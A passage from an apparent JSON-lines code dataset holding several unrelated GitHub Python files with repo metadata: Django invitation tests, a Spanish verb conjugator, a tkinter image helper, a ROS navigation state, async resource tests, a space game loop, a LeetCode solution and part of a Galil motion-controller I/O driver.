whether experiments without timeslots are ignored. \"\"\"\n self.assertEqual(\n len(get_invite_counts()),\n 0\n )\n\n def test_correct_num_with_current_timeslot(self):\n \"\"\"Tests wheter experiments with a timeslot below the threshold are\n ignored\"\"\"\n timeslot = TimeSlot()\n timeslot.experiment = self.experiment\n timeslot.max_places = 1\n timeslot.datetime = datetime.now(tz=get_current_timezone())\n timeslot.save()\n\n self.assertEqual(len(get_invite_counts()), 0)\n\n def test_correct_num_with_old_timeslot(self):\n \"\"\"Tests wheter experiments with a timeslot above the threshold are\n ignored\"\"\"\n timeslot = TimeSlot()\n timeslot.experiment = self.experiment\n timeslot.max_places = 1\n timeslot.datetime = datetime.now(tz=get_current_timezone()) - \\\n timedelta(days=20)\n timeslot.save()\n\n counts = get_invite_counts()\n\n # Check if the experiment is listed\n self.assertEqual(\n len(counts),\n 1\n )\n\n # Check if the comment count is right\n self.assertEqual(\n counts[0][1],\n len(self.participants)\n )\n\n def test_delete(self):\n \"\"\"Tests whether the delete_invites function actually deletes\n something\"\"\"\n # Just to make sure we're not testing something that is already 0\n self.assertNotEqual(Invitation.objects.count(), 0)\n\n delete_invites(self.experiment, _create_dummy_user())\n\n self.assertEqual(Invitation.objects.count(), 0)\n\n # Check if the auditlog logged anything\n self.assertEqual(LogEntry.objects.count(), 1)\n","repo_name":"UiL-OTS-labs/ppn-backend","sub_path":"datamanagement/tests/invitations.py","file_name":"invitations.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"26889207643","text":"# -*- coding: iso-8859-15 -*-\n\n# --------------------------------- Importing Tenses From Files ---------------------------- #\nfrom spanishconjugator.tenses.indicative.preterite import indicative_preterite\nfrom spanishconjugator.tenses.indicative.present import indicative_present\nfrom spanishconjugator.tenses.indicative.imperfect import indicative_imperfect\nfrom spanishconjugator.tenses.indicative.future import indicative_future\nfrom spanishconjugator.tenses.indicative.present_perfect import (\n indicative_present_perfect,\n)\nfrom spanishconjugator.tenses.indicative.past_perfect import indicative_past_perfect\nfrom spanishconjugator.tenses.indicative.past_anterior import indicative_past_anterior\nfrom spanishconjugator.tenses.indicative.future_perfect import indicative_future_perfect\n\nfrom spanishconjugator.tenses.conditional.simple_conditional import (\n conditional_simple_conditional,\n)\nfrom spanishconjugator.tenses.conditional.perfect import conditional_perfect\n\nfrom spanishconjugator.tenses.imperative.affirmative import affirmative\nfrom spanishconjugator.tenses.imperative.negative import negative\n\nfrom spanishconjugator.tenses.subjunctive.present import subjunctive_present\nfrom spanishconjugator.tenses.subjunctive.present_perfect import (\n subjunctive_present_perfect,\n)\nfrom spanishconjugator.tenses.subjunctive.pluperfect import subjunctive_pluperfect\nfrom spanishconjugator.tenses.subjunctive.future_perfect import (\n subjunctive_future_perfect,\n)\nfrom spanishconjugator.tenses.subjunctive.imperfect import subjunctive_imperfect\nfrom spanishconjugator.tenses.subjunctive.imperfect_se import subjunctive_imperfect_se\nfrom spanishconjugator.tenses.subjunctive.future import subjunctive_future\n\n# --------------------------------- Irregulars --------------------------------------------- #\nfrom spanishconjugator.irregulars.irregular_dict import irregulars_dictionary\n\n# --------------------------------- Conjugator --------------------------------------------- #\n\n\nclass Conjugator:\n def conjugate(self, root_verb, tense, mood, pronoun=None):\n tense = tense.lower()\n mood = mood.lower()\n try:\n if pronoun:\n pronoun = pronoun.lower()\n\n try:\n conjugation = irregulars_dictionary[root_verb][mood][tense][pronoun]\n return conjugation\n except:\n # root_verb does not have an irregular conjugation with the given pronoun\n return self.conjugate_tense_mood(root_verb, tense, mood, pronoun)\n else:\n # in case no pronoun is passed\n return self.conjugate_tense_mood(root_verb, tense, mood, None) \n\n except:\n # --------------------------------- Catch Missed Conjugations ------------------------------- #\n return \"Error - verb not found\"\n \n\n def conjugate_tense_mood(self, root_verb, tense, mood, pronoun=None):\n # --------------------------------- The Indicatives ---------------------------------------- #\n\n # --------------------------------- Present Indicative ------------------------------------- #\n if tense == \"present\":\n if mood == \"indicative\":\n conjugation = indicative_present(root_verb, pronoun)\n return conjugation\n\n # --------------------------------- Imperfect Indicative ----------------------------------- #\n\n if tense == \"imperfect\":\n if mood == \"indicative\":\n conjugation = indicative_imperfect(root_verb, pronoun)\n return conjugation\n\n # --------------------------------- Preterite Indicative ----------------------------------- #\n \n if tense == \"preterite\":\n if mood == \"indicative\":\n conjugation = indicative_preterite(root_verb, pronoun)\n return conjugation\n\n # --------------------------------- Future Simple Indicative ------------------------------- #\n \n if tense == \"future\":\n if mood == \"indicative\":\n conjugation = indicative_future(root_verb, pronoun)\n return conjugation\n \n # --------------------------------- Present Perfect Compound Tense -------------------------- #\n \n if tense == \"present_perfect\":\n if mood == \"indicative\":\n conjugation = indicative_present_perfect(root_verb, pronoun)\n return conjugation\n \n # --------------------------------- Past Perfect Compound Tense ----------------------------- #\n\n if tense == \"past_perfect\":\n if mood == \"indicative\":\n conjugation = indicative_past_perfect(root_verb, pronoun)\n return conjugation\n \n # --------------------------------- Past Anterior Compound Tense ---------------------------- #\n\n if tense == \"past_anterior\":\n if mood == \"indicative\":\n conjugation = indicative_past_anterior(root_verb, pronoun)\n return conjugation\n\n # --------------------------------- Future Perfect Compound Tense --------------------------- #\n\n if tense == \"future_perfect\":\n if mood == \"indicative\":\n conjugation = indicative_future_perfect(root_verb, pronoun)\n return conjugation\n\n\n # --------------------------------- The Conditional ----------------------------------------- #\n\n #---------------------------------- Simple Conditional -------------------------------------- #\n\n if tense == \"simple_conditional\":\n if mood == \"conditional\":\n conjugation = conditional_simple_conditional(root_verb, pronoun)\n return conjugation\n\n #---------------------------------- Perfect Conditional -------------------------------------- #\n\n if tense == \"perfect\":\n if mood == \"conditional\":\n conjugation = conditional_perfect(root_verb, pronoun)\n return conjugation\n\n # --------------------------------- The Imperative ----------------------------------------- #\n\n #---------------------------------- Affirmative Imperative -------------------------------------- #\n\n if tense == \"affirmative\":\n if mood == \"imperative\":\n conjugation = affirmative(root_verb, pronoun)\n return conjugation\n\n #---------------------------------- Negative Imperative -------------------------------------- #\n\n if tense == \"negative\":\n if mood == \"imperative\":\n conjugation = negative(root_verb, pronoun)\n return conjugation\n\n # --------------------------------- The Subjunctive ----------------------------------------- #\n\n #---------------------------------- Present Subjunctive ------------------------------------- #\n\n if tense == \"present\":\n if mood == \"subjunctive\":\n conjugation = subjunctive_present(root_verb, pronoun)\n return conjugation\n\n #---------------------------------- Present Perfect Subjunctive ----------------------------- #\n\n if tense == \"present_perfect\":\n if mood == \"subjunctive\":\n conjugation = subjunctive_present_perfect(root_verb, pronoun)\n return conjugation\n\n #---------------------------------- Pluperfect Subjunctive ---------------------------------- #\n\n if tense == \"pluperfect\":\n if mood == \"subjunctive\":\n conjugation = subjunctive_pluperfect(root_verb, pronoun)\n return conjugation\n\n #---------------------------------- Future Perfect Subjunctive ------------------------------ #\n\n if tense == \"future_perfect\":\n if mood == \"subjunctive\":\n conjugation = subjunctive_future_perfect(root_verb, pronoun)\n return conjugation\n\n #---------------------------------- Imperfect Subjunctive -------------------------------------- #\n\n if tense == \"imperfect\":\n if mood == \"subjunctive\":\n conjugation = subjunctive_imperfect(root_verb, pronoun)\n return conjugation\n\n #---------------------------------- imperfect se Subjunctive -------------------------------------- #\n\n if tense == \"imperfect_se\":\n if mood == \"subjunctive\":\n conjugation = subjunctive_imperfect_se(root_verb, pronoun)\n return conjugation\n\n #---------------------------------- Future Subjunctive -------------------------------------- #\n\n if tense == \"future\":\n if mood == \"subjunctive\":\n conjugation = subjunctive_future(root_verb, pronoun)\n return conjugation","repo_name":"Benedict-Carling/spanish-conjugator","sub_path":"src/spanishconjugator/SpanishConjugator.py","file_name":"SpanishConjugator.py","file_ext":"py","file_size_in_byte":9871,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"99"} +{"seq_id":"40468225425","text":"from tkinter import *\nfrom PIL import Image\nfrom PIL import ImageTk\n\nTEXTURE_FOLDER = \"textures/\"\nSCALING_FACTOR = 5\nPIXEL_X = 100\n\nimage_list = []\n\ndef setScalingFactor(factor):\n global SCALING_FACTOR\n SCALING_FACTOR = factor\n\ndef setPixelX(pixels):\n global PIXEL_X\n PIXEL_X = pixels\n\ndef increaseScalingFactor(factor):\n global SCALING_FACTOR\n SCALING_FACTOR += factor\n\ndef redraw_images():\n print(image_list)\n for i in image_list:\n i.redraw()\n\ndef applySize(canvas):\n width = canvas.winfo_width()\n print(width)\n SCALING_FACTOR = width / PIXEL_X\n setScalingFactor(SCALING_FACTOR)\n print(width)\n redraw_images()\n print(width)\n\nclass KeyBind():\n def __init__(self, key, master, loop, release=None):\n self.app_loop = loop\n self.master = master\n self.master.bind(\"<\" + key + \">\", self.click)\n self.event = Event()\n self.event.x = 0\n self.event.y = 0\n if release == None:\n self.master.bind(\"\", self.unclick)\n else:\n self.master.bind(\"<\" + release + \">\", self.unclick)\n self.clicked = False\n\n\n\n def click(self, event=None):\n self.event = event\n if self.clicked == False:\n self.clicked = True\n self.app_loop()\n #self.master.after(10, self.unclick)\n\n def unclick(self, event=None):\n self.clicked = False\n\nclass TKImage():\n def __init__(self, canvas, path):\n self.path = path\n self.canvas = canvas\n scaling_factor = SCALING_FACTOR\n self.image_original = Image.open(TEXTURE_FOLDER + path).convert(\"RGBA\")\n\n self.original_image_width, self.original_image_height = self.image_original.size\n self.image_ = self.image_original.resize((round(self.original_image_width * scaling_factor), round(self.original_image_height * scaling_factor)), Image.BOX)\n self.image_width, self.image_height = self.image_.size\n self.image = ImageTk.PhotoImage(self.image_)\n del self.image_\n image_list.append(self)\n\n def place(self, x=10, y=10):\n self.x = x\n self.y = y\n self.canvas.create_image(x * SCALING_FACTOR + self.image_width/2, y * SCALING_FACTOR + self.image_height/2, image=self.image)\n\n def redraw(self):\n scaling_factor = SCALING_FACTOR\n\n self.original_image_width, self.original_image_height = self.image_original.size\n self.image_ = self.image_original.resize(\n (round(self.original_image_width * scaling_factor), round(self.original_image_height * scaling_factor)), Image.BOX)\n self.image_width, self.image_height = self.image_.size\n self.image = ImageTk.PhotoImage(self.image_)\n del self.image_\n self.place(self.x, self.y)\n\n\n","repo_name":"Olikonsti/Tk2DGame","sub_path":"imageKey.py","file_name":"imageKey.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"99"} +{"seq_id":"24511753436","text":"#! /usr/bin/env python\n\nfrom robot_smach_states.navigation import NavigateTo\n\nfrom cb_planner_msgs_srvs.srv import *\nfrom cb_planner_msgs_srvs.msg import *\nfrom geometry_msgs.msg import *\n\nimport rospy\n\n# ----------------------------------------------------------------------------------------------------\n\nclass NavigateToPose(NavigateTo):\n def __init__(self, robot, x, y, rz, radius=0.15, frame_id=\"/map\"):\n super(NavigateToPose, self).__init__(robot)\n\n self.x = x\n self.y = y\n self.rz = rz\n self.radius = radius\n self._frame_id = frame_id\n\n def generateConstraint(self):\n pc = PositionConstraint(constraint=\"(x-%f)^2+(y-%f)^2 < %f^2\"%(self.x, self.y, self.radius), frame=self._frame_id)\n oc = OrientationConstraint(look_at=Point(self.x+1, self.y, 0.0), angle_offset=self.rz, frame=self._frame_id)\n\n return pc, oc\n\n\n# class NavigateToPose(NavigateTo):\n# def __init__(self, robot, x, y, rz):\n# NavigateTo.__init__(robot, constraint_args={'x': x, 'y': y, 'rz': rz})\n\n# def generateConstraint(self, userdata):\n# userdata.position_constraint = PositionConstraint(constraint=\"(x-%d)+(x-%d)^2 < %d\"%(x,y,radius), frame=\"/map\")\n# userdata.orientation_constraint = OrientationConstraint(look_at=Point(x+1,y), angle_offset=rz, frame=\"/map\")\n\n# return 'succeeded'\n\n# def breakOut(self):\n# if bla:\n# return True\n# else:\n# return False\n\n\n\n\n","repo_name":"tue-robotics-graveyard/robot_smach_states","sub_path":"src/robot_smach_states/navigation/navigate_to_pose.py","file_name":"navigate_to_pose.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"71929733765","text":"from contextlib import asynccontextmanager\nfrom typing import AsyncIterator\nfrom unittest.mock import Mock\n\nfrom jshell.core.resource import (\n AsyncContextManagerResource,\n Resource,\n constant_resource,\n resource,\n)\n\n\nasync def test_acquire_release() -> None:\n load = Mock()\n cleanup = Mock()\n\n class _MockResource(Resource[object]):\n async def _init(self) -> object:\n load()\n return object()\n\n async def _cleanup(self) -> None:\n cleanup()\n\n resource = _MockResource()\n\n async with resource as value_1:\n load.assert_called_once()\n cleanup.assert_not_called()\n\n async with resource as value_2:\n load.assert_called_once()\n assert value_1 == value_2\n cleanup.assert_not_called()\n\n cleanup.assert_not_called()\n\n cleanup.assert_called_once()\n\n\nasync def test_async_context_manager_resource() -> None:\n load = Mock()\n cleanup = Mock()\n\n @asynccontextmanager\n async def _load() -> AsyncIterator[object]:\n load()\n yield object()\n cleanup()\n\n async with AsyncContextManagerResource(_load):\n load.assert_called_once()\n cleanup.assert_not_called()\n\n cleanup.assert_called_once()\n\n\nasync def test_resource_decorator() -> None:\n load = Mock()\n cleanup = Mock()\n\n @resource\n async def test_resource() -> AsyncIterator[object]:\n load()\n yield object()\n cleanup()\n\n async with test_resource():\n load.assert_called_once()\n cleanup.assert_not_called()\n\n cleanup.assert_called_once()\n\n\nasync def test_constant_resource() -> None:\n constant = object()\n test_resource = constant_resource(constant)\n\n async with test_resource as value:\n assert constant == value\n","repo_name":"jean-loutre/jean-shell","sub_path":"tests/core/test_resource.py","file_name":"test_resource.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"35960344946","text":"#!/usr/bin/python3\n\n# The runnable file for the game that manages all resources.\n# By BEN COLLINS\n\nfrom networking import *\nfrom canvas.canvas import *\nfrom player import *\nfrom asteroid import *\nfrom consts import *\nfrom random import *\nfrom enemy import *\nfrom powerup import *\nimport time\n\nclass Game:\n\n\tdef __init__(self):\n\t\t# Create canvas object and set various its properties and callbacks.\n\t\tself.canvas = Canvas(WINDOW_WIDTH, WINDOW_HEIGHT, \"Game\", [\"background\", \"content\", \"ui\"])\n\t\tself.canvas.setLayerOffset(300, 200, \"content\")\n\t\tself.canvas.color = \"#05050a\"\n\t\tself.canvas.on_key_down(\"space\", self.pause)\n\n\t\t# Setup array to hold enemies and counters for health speed and number at a time.\n\t\tself.enemies = []\n\t\tself.enemy_count = 0\n\t\tself.enemy_health = ENEMY_START_HEALTH\n\t\tself.enemy_speed = ENEMY_START_SPEED\n\t\tself.enemies_killed = 0\n\n\t\t# The next frame the update function will be called.\n\t\tself.nextFrame = time.clock()\n\n\t\t# Create score text and add it to the canvas.\n\t\tx = WINDOW_WIDTH / 2\n\t\ty = WINDOW_HEIGHT - 50\n\t\tself.score = Text(x, y, \"\", \"#ffffff\", layer = \"ui\", font_size = 35, font_name = \"FreeSans Bold\")\n\t\tself.canvas.add(self.score)\n\t\t\n\t\t# Add stars the to the canvas that do not move with the camera and are smaller (background stars).\n\t\tfor i in range(0, 100):\n\t\t\tx = (random() * 2 - 1) * MAP_SIZE\n\t\t\ty = (random() * 2 - 1) * MAP_SIZE\n\t\t\tself.canvas.add(Rect(x, y, 1, 1, \"#ffffff\", layer = \"background\"))\n\n\t\t# Add stars the to the canvas that do move with the camera and are larger (foreground stars).\n\t\tfor i in range(0, 100):\n\t\t\tx = (random() * 2 - 1) * MAP_SIZE\n\t\t\ty = (random() * 2 - 1) * MAP_SIZE\n\t\t\tself.canvas.add(Rect(x, y, 3, 3, \"#ffffff\", layer = \"content\"))\n\t\t\t\n\t\tself.asteroids = []\n\t\tfor i in range(0, ASTEROID_COUNT):\n\t\t\tasteroid = Asteroid(self)\n\t\t\tself.asteroids.append(asteroid)\n\n\t\t# Add the four outer walls to the canvas.\n\t\tpoints = [(-MAP_SIZE, -MAP_SIZE), (MAP_SIZE, -MAP_SIZE)]\n\t\tself.canvas.add(Polygon(points, \"#ffffff\", thickness = 3, layer = \"content\"))\n\t\tpoints = [(MAP_SIZE, -MAP_SIZE), (MAP_SIZE, MAP_SIZE)]\n\t\tself.canvas.add(Polygon(points, \"#ffffff\", thickness = 3, layer = \"content\"))\n\t\tpoints = [(MAP_SIZE, MAP_SIZE), (-MAP_SIZE, MAP_SIZE)]\n\t\tself.canvas.add(Polygon(points, \"#ffffff\", thickness = 3, layer = \"content\"))\n\t\tpoints = [(-MAP_SIZE, MAP_SIZE), (-MAP_SIZE, -MAP_SIZE)]\n\t\tself.canvas.add(Polygon(points, \"#ffffff\", thickness = 3, layer = \"content\"))\n\n\t\tself.powerup = PowerUp(self)\n\t\tself.player = Player(self)\n\n\t\t# Create pause text.\n\t\tx = WINDOW_WIDTH / 2\n\t\ty = WINDOW_HEIGHT / 2\n\t\ttxt = \"PAUSE\"\n\t\tself.pause = Text(x, y, txt, \"#ffffff\", layer = \"ui\", font_size = 80, font_name = \"FreeSans Bold\")\n\t\tself.paused = False\n\n\t\t# Start the canvas thread.\n\t\tself.canvas.start()\n\t\tself.loop()\n\n\tdef loop(self):\n\t\twhile self.canvas.running and self.player.alive:\n\t\t\tif self.nextFrame < time.clock():\n\t\t\t\t# If its time to compute the next frame do so and reset the next frame variable.\n\t\t\t\tself.nextFrame += TIME_STEP\n\t\t\t\tif not self.paused:\n\t\t\t\t\tself.update()\n\t\t\t\t\tself.canvas.update()\n\n\t\t# Display the 'game over' message.\n\t\tx = WINDOW_WIDTH / 2\n\t\ty = WINDOW_HEIGHT / 2\n\t\ttxt = \"Game Over\"\n\t\tmsg = Text(x, y, txt, DAMAGE_COLOR, layer = \"ui\", font_size = 80, font_name = \"FreeSans Bold\")\n\t\tself.canvas.add(msg)\n\n\tdef update(self):\n\t\t\n\t\t# Get the current layer offset (camera).\n\t\toffsetx = self.canvas.getLayerOffsetX(\"content\")\n\t\toffsety = self.canvas.getLayerOffsetY(\"content\")\n\t\toffsetxchange = offsetx\n\t\toffsetychange = offsety\n\n\t\t# If the player moves over a certain threshold the camera is updated so the player is always inside the view.\n\t\tif self.player.shape.x + offsetx > WINDOW_WIDTH * 0.6:\n\t\t\toffsetxchange -= self.player.shape.x + offsetx - WINDOW_WIDTH * 0.6\n\t\tif self.player.shape.x + offsetx < WINDOW_WIDTH * 0.4:\n\t\t\toffsetxchange -= self.player.shape.x + offsetx - WINDOW_WIDTH * 0.4\n\t\tif self.player.shape.y + offsety > WINDOW_HEIGHT * 0.6:\n\t\t\toffsetychange -= self.player.shape.y + offsety - WINDOW_HEIGHT * 0.6\n\t\tif self.player.shape.y + offsety < WINDOW_HEIGHT * 0.4:\n\t\t\toffsetychange -= self.player.shape.y + offsety - WINDOW_HEIGHT * 0.4\n\n\t\t# Apply this change to the canvas.\n\t\tself.canvas.setLayerOffset(offsetxchange, offsetychange, \"content\")\n\t\t\n\t\tfor asteroid in self.asteroids:\n\t\t\tasteroid.update(self.player, self.enemies)\n\n\t\tfor enemy in self.enemies:\n\t\t\tenemy.update(self.asteroids, self.player)\n\n\t\tself.powerup.update(self.player)\n\t\tself.player.update(self.asteroids, self.enemies)\n\n\t\t# If there are no enemies left send in the next wave which should be more powerful than the last.\n\t\tif len(self.enemies) == 0:\n\t\t\tif self.enemy_count >= MAX_ENEMIES:\n\t\t\t\tself.enemy_count = 1\n\t\t\t\tself.enemy_health += 1\n\t\t\tif self.enemy_health >= ENEMY_MAX_HEALTH:\n\t\t\t\tself.enemy_health = ENEMY_START_HEALTH\n\t\t\t\tself.enemy_speed += ENEMY_SPEED_INCREASE\n\n\t\t\tself.enemy_count += 1\n\n\t\t\tfor i in range(0, self.enemy_count):\n\t\t\t\tself.enemies.append(Enemy(self, self.enemy_speed, self.enemy_health))\n\t\t\t\t\n\t\tself.score.text = \"Enemies Killed: \" + str(self.enemies_killed)\n\n\tdef pause(self):\n\t\tself.paused = not self.paused\n\t\tif self.paused:\n\t\t\tself.canvas.add(self.pause)\n\t\telse:\n\t\t\tself.canvas.remove(self.pause)\n\nGame()","repo_name":"benjcollins/summer-computing-project-game","sub_path":"code/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"24513940383","text":"# 题目:1520.最多的不重叠子字符串\n# 难度:HARD\n# 最后提交:2022-10-11 11:00:59 +0800 CST\n# 语言:python3\n# 作者:ZrjaK\n\nclass Solution:\n def maxNumOfSubstrings(self, s: str) -> List[str]:\n n = len(s)\n o = [ord(i)-97 for i in s]\n f = [[1e99, -1] for _ in range(26)]\n for i in range(n):\n f[o[i]][1] = i\n f[o[i]][0] = min(f[o[i]][0], i)\n h = [-1] * 26\n res = []\n for j in range(26):\n l = f[j][0]\n r = f[j][1]\n if l == 1e99 or r == -1:\n continue\n i = l\n while i < r:\n r = max(r, f[o[i]][1])\n if f[o[i]][0] < l:\n break\n i += 1\n else:\n res.append([l, r])\n res.sort(key=lambda x: (x[1], x[1]-x[0]))\n c = -1\n ans = []\n for l, r in res:\n if l > c:\n ans.append(s[l:r+1])\n c = r\n return ans","repo_name":"ZrjaK/algorithm","sub_path":"OJ/leetcode/1520.最多的不重叠子字符串.py","file_name":"1520.最多的不重叠子字符串.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"32423858508","text":"\"\"\" A device class for the Galil motion controller, used by a FastAPI server instance.\n\nThe 'galil' device class exposes motion and I/O functions from the underlying 'gclib'\nlibrary. Class methods are specific to Galil devices. Device configuration is read from\nconfig/config.py. \n\"\"\"\n\n__all__ = [\n \"Galil\",\n \"TriggerType\",\n]\n\n\nimport time\nimport os\nimport pathlib\nimport traceback\nimport asyncio\nfrom typing import Union, Optional, List\n\nfrom helao.servers.base import Base\nfrom helao.helpers.executor import Executor\nfrom helaocore.error import ErrorCodes\nfrom helao.helpers.make_str_enum import make_str_enum\nfrom helaocore.models.hlostatus import HloStatus\n\nfrom helao.drivers.io.enum import TriggerType\n\ndriver_path = os.path.dirname(os.path.realpath(__file__))\n\n# install galil driver first\n# (helao) c:\\Program Files (x86)\\Galil\\gclib\\source\\wrappers\\python>python setup.py install\nimport gclib\n\n# pathlib.Path(os.path.join(helao_root, 'visualizer\\styles.css')).read_text()\n\n\nclass cmd_exception(ValueError):\n def __init__(self, arg):\n self.args = arg\n\n\nclass Galil:\n def __init__(self, action_serv: Base):\n\n self.base = action_serv\n self.config_dict = action_serv.server_cfg[\"params\"]\n\n self.dev_ai = self.config_dict.get(\"dev_ai\", {})\n self.dev_aiitems = make_str_enum(\"dev_ai\", {key: key for key in self.dev_ai})\n\n self.monitor_ai = {\n ai_name: scaling\n for ai_name, scaling in self.config_dict.get(\"monitor_ai\", {}).items()\n if ai_name in self.dev_ai.keys()\n }\n\n self.dev_ao = self.config_dict.get(\"dev_ao\", {})\n self.dev_aoitems = make_str_enum(\"dev_ao\", {key: key for key in self.dev_ao})\n\n self.dev_di = self.config_dict.get(\"dev_di\", {})\n self.dev_diitems = make_str_enum(\"dev_di\", {key: key for key in self.dev_di})\n\n self.dev_do = self.config_dict.get(\"dev_do\", {})\n self.dev_doitems = make_str_enum(\"dev_do\", {key: key for key in self.dev_do})\n\n self.digital_cycle_out = None\n self.digital_cycle_out_gamry = None\n self.digital_cycle_mainthread = None\n self.digital_cycle_subthread = None\n self.digital_cycle_subthread2 = None\n\n # if this is the main instance let us make a galil connection\n self.g = gclib.py()\n self.base.print_message(f\"gclib version: {self.g.GVersion()}\")\n # TODO: error checking here: Galil can crash an dcarsh program\n galil_ip = self.config_dict.get(\"galil_ip_str\", None)\n self.galil_enabled = None\n try:\n if galil_ip:\n self.g.GOpen(\"%s --direct -s ALL\" % (galil_ip))\n self.base.print_message(self.g.GInfo())\n self.galilcmd = self.g.GCommand # alias the command callable\n # downloads a DMC program to galil\n self.galilprgdownload = self.g.GProgramDownload\n self.galil_enabled = True\n else:\n self.base.print_message(\"no Galil IP configured\", error=True)\n self.galil_enabled = False\n except Exception as e:\n tb = \"\".join(traceback.format_exception(type(e), e, e.__traceback__))\n self.base.print_message(\n f\"severe Galil error ... please power cycle Galil \"\n f\"and try again {repr(e), tb,}\",\n error=True,\n )\n self.galil_enabled = False\n\n self.cycle_lights = False\n\n self.aloop = asyncio.get_running_loop()\n self.polling = True\n self.poll_signalq = asyncio.Queue(1)\n self.poll_signal_task = self.aloop.create_task(self.poll_signal_loop())\n self.polling_task = self.aloop.create_task(self.poll_sensor_loop())\n\n async def poll_sensor_loop(self, frequency: int = 4):\n self.base.print_message(\"polling background task has started\")\n waittime = 1.0 / frequency\n lastupdate = 0\n while True:\n if self.polling:\n for ai_name, scaling in self.monitor_ai.items():\n status_dict = {}\n checktime = time.time()\n if checktime - lastupdate < waittime:\n # self.base.print_message(\"waiting for minimum update interval.\")\n await asyncio.sleep(waittime - (checktime - lastupdate))\n ai_resp = await self.get_analog_in(ai_name)\n if (\n ai_resp.get(\"error_code\", ErrorCodes.not_available)\n == ErrorCodes.none\n ):\n status_dict = {ai_name: float(ai_resp[\"value\"]) * scaling}\n await self.base.put_lbuf(status_dict)\n lastupdate = time.time()\n # self.base.print_message(ai_resp)\n await asyncio.sleep(0.01)\n\n async def reset(self):\n pass\n\n async def start_polling(self):\n self.base.print_message(\"got 'start_polling' request, raising signal\")\n await self.poll_signalq.put(True)\n\n async def stop_polling(self):\n self.base.print_message(\"got 'stop_polling' request, raising signal\")\n await self.poll_signalq.put(False)\n\n async def poll_signal_loop(self):\n while True:\n self.polling = await self.poll_signalq.get()\n self.base.print_message(\"polling signal received\")\n\n async def estop(self, switch: bool, *args, **kwargs):\n # this will estop the io\n # set estop: switch=true\n # release estop: switch=false\n self.base.print_message(\"IO Estop\")\n if switch:\n for ao_name in self.dev_ao.keys():\n await self.set_digital_out(\n on=False,\n value=0.0,\n ao_name=ao_name,\n )\n for do_name in self.dev_do.keys():\n await self.set_digital_out(\n on=False,\n do_name=do_name,\n )\n # set flag\n self.base.actionservermodel.estop = True\n else:\n # need only to set the flag\n self.base.actionservermodel.estop = False\n return switch\n\n async def get_analog_in(self, ai_name: str = \"analog_in\", *args, **kwargs):\n err_code = ErrorCodes.none\n ret = None\n ai_port = -1\n if ai_name in self.dev_ai:\n ai_port = self.dev_ai[ai_name]\n cmd = f\"MG @AN[{int(ai_port)}]\"\n # self.base.print_message(f\"cmd: '{cmd}'\", info=True)\n ret = self.galilcmd(cmd)\n else:\n err_code = ErrorCodes.not_available\n\n return {\n \"error_code\": err_code,\n \"port\": ai_port,\n \"name\": ai_name,\n \"type\": \"analog_in\",\n \"value\": ret,\n }\n\n async def get_digital_in(self, di_name: str = \"digital_in\", *args, **kwargs):\n err_code = ErrorCodes.none\n ret = None\n di_port = -1\n if di_name in self.dev_di:\n di_port = self.dev_di[di_name]\n cmd = f\"MG @IN[{int(di_port)}]\"\n # self.base.print_message(f\"cmd: '{cmd}'\", info=True)\n ret = self.galilcmd(cmd)\n else:\n err_code = ErrorCodes.not_available\n\n return {\n \"error_code\": err_code,\n \"port\": di_port,\n \"name\": di_name,\n \"type\": \"digital_in\",\n \"value\": ret,\n }\n\n async def get_digital_out(self, do_name: str = \"digital_out\", *args, **kwargs):\n err_code = ErrorCodes.none\n ret = None\n do_port = -1\n if do_name in self.dev_do:\n do_port = self.dev_do[do_name]\n cmd = f\"MG @OUT[{int(do_port)}]\"\n # self.base.print_message(f\"cmd: '{cmd}'\", info=True)\n ret = self.galilcmd(cmd)\n else:\n err_code = ErrorCodes.not_available\n\n return {\n \"error_code\": err_code,\n \"port\": do_port,\n \"name\": do_name,\n \"type\": \"digital_out\",\n \"value\": ret,\n }\n\n # def set_analog_out(self, ports, handle: int, module: int, bitnum: int, multi_value):\n async def set_analog_out(\n self, value: float, ao_name: str = \"analog_out\", *args, **kwargs\n ):\n err_code = ErrorCodes.not_available\n ao_port = -1\n # this is essentially a placeholder for now since the DMC-4143 does not support\n # analog out but I believe it is worthwhile to have this in here for the RIO\n # Handle num is A-H and must be on port 502 for the modbus commons\n # module is the position of the module from 1 to 16\n # bitnum is the IO point in the module from 1-4\n # the fist value n_0\n # n_0 = handle * 1000 + (module - 1) * 4 + bitnum\n # _ = self.galilcmd(\"AO {},{}\".format(port, value))\n return {\n \"error_code\": err_code,\n \"port\": ao_port,\n \"name\": ao_name,\n \"type\": \"analog_out\",\n \"value\": None,\n }\n\n async def set_digital_out(self, on: bool, do_name: str = \"\", *args, **kwargs):\n err_code = ErrorCodes.none\n on = bool(on)\n ret = None\n do_port = -1\n if do_name in self.dev_do:\n do_port = self.dev_do[do_name]\n if on:\n cmd = f\"SB {int(do_port)}\"\n else:\n cmd = f\"CB {int(do_port)}\"\n # self.base.print_message(f\"cmd: '{cmd}'\", info=True)\n _ = self.galilcmd(cmd)\n cmd = f\"MG @OUT[{int(do_port)}]\"\n # self.base.print_message(f\"cmd: '{cmd}'\", info=True)\n ret = self.galilcmd(cmd)\n else:\n err_code = ErrorCodes.not_available\n\n return {\n \"error_code\": err_code,\n \"port\": do_port,\n \"name\": do_name,\n \"type\": \"digital_out\",\n \"value\": ret,\n }\n\n async def upload_DMC(self, DMC_prog):\n # self.galilcmd(\"UL;\") # begin upload\n # upload line by line from DMC_prog\n self.galilprgdownload(\"DL;\")\n self.base.print_message(f\"DMC prg:\\n{DMC_prog}\", info=True)\n self.galilprgdownload(DMC_prog + \"\\x00\")\n\n async def set_digital_cycle(\n self,\n trigger_name: str,\n triggertype: TriggerType,\n out_name: Union[str, List[str]],\n toggle_init_delay: Union[float, List[float]], # seconds\n 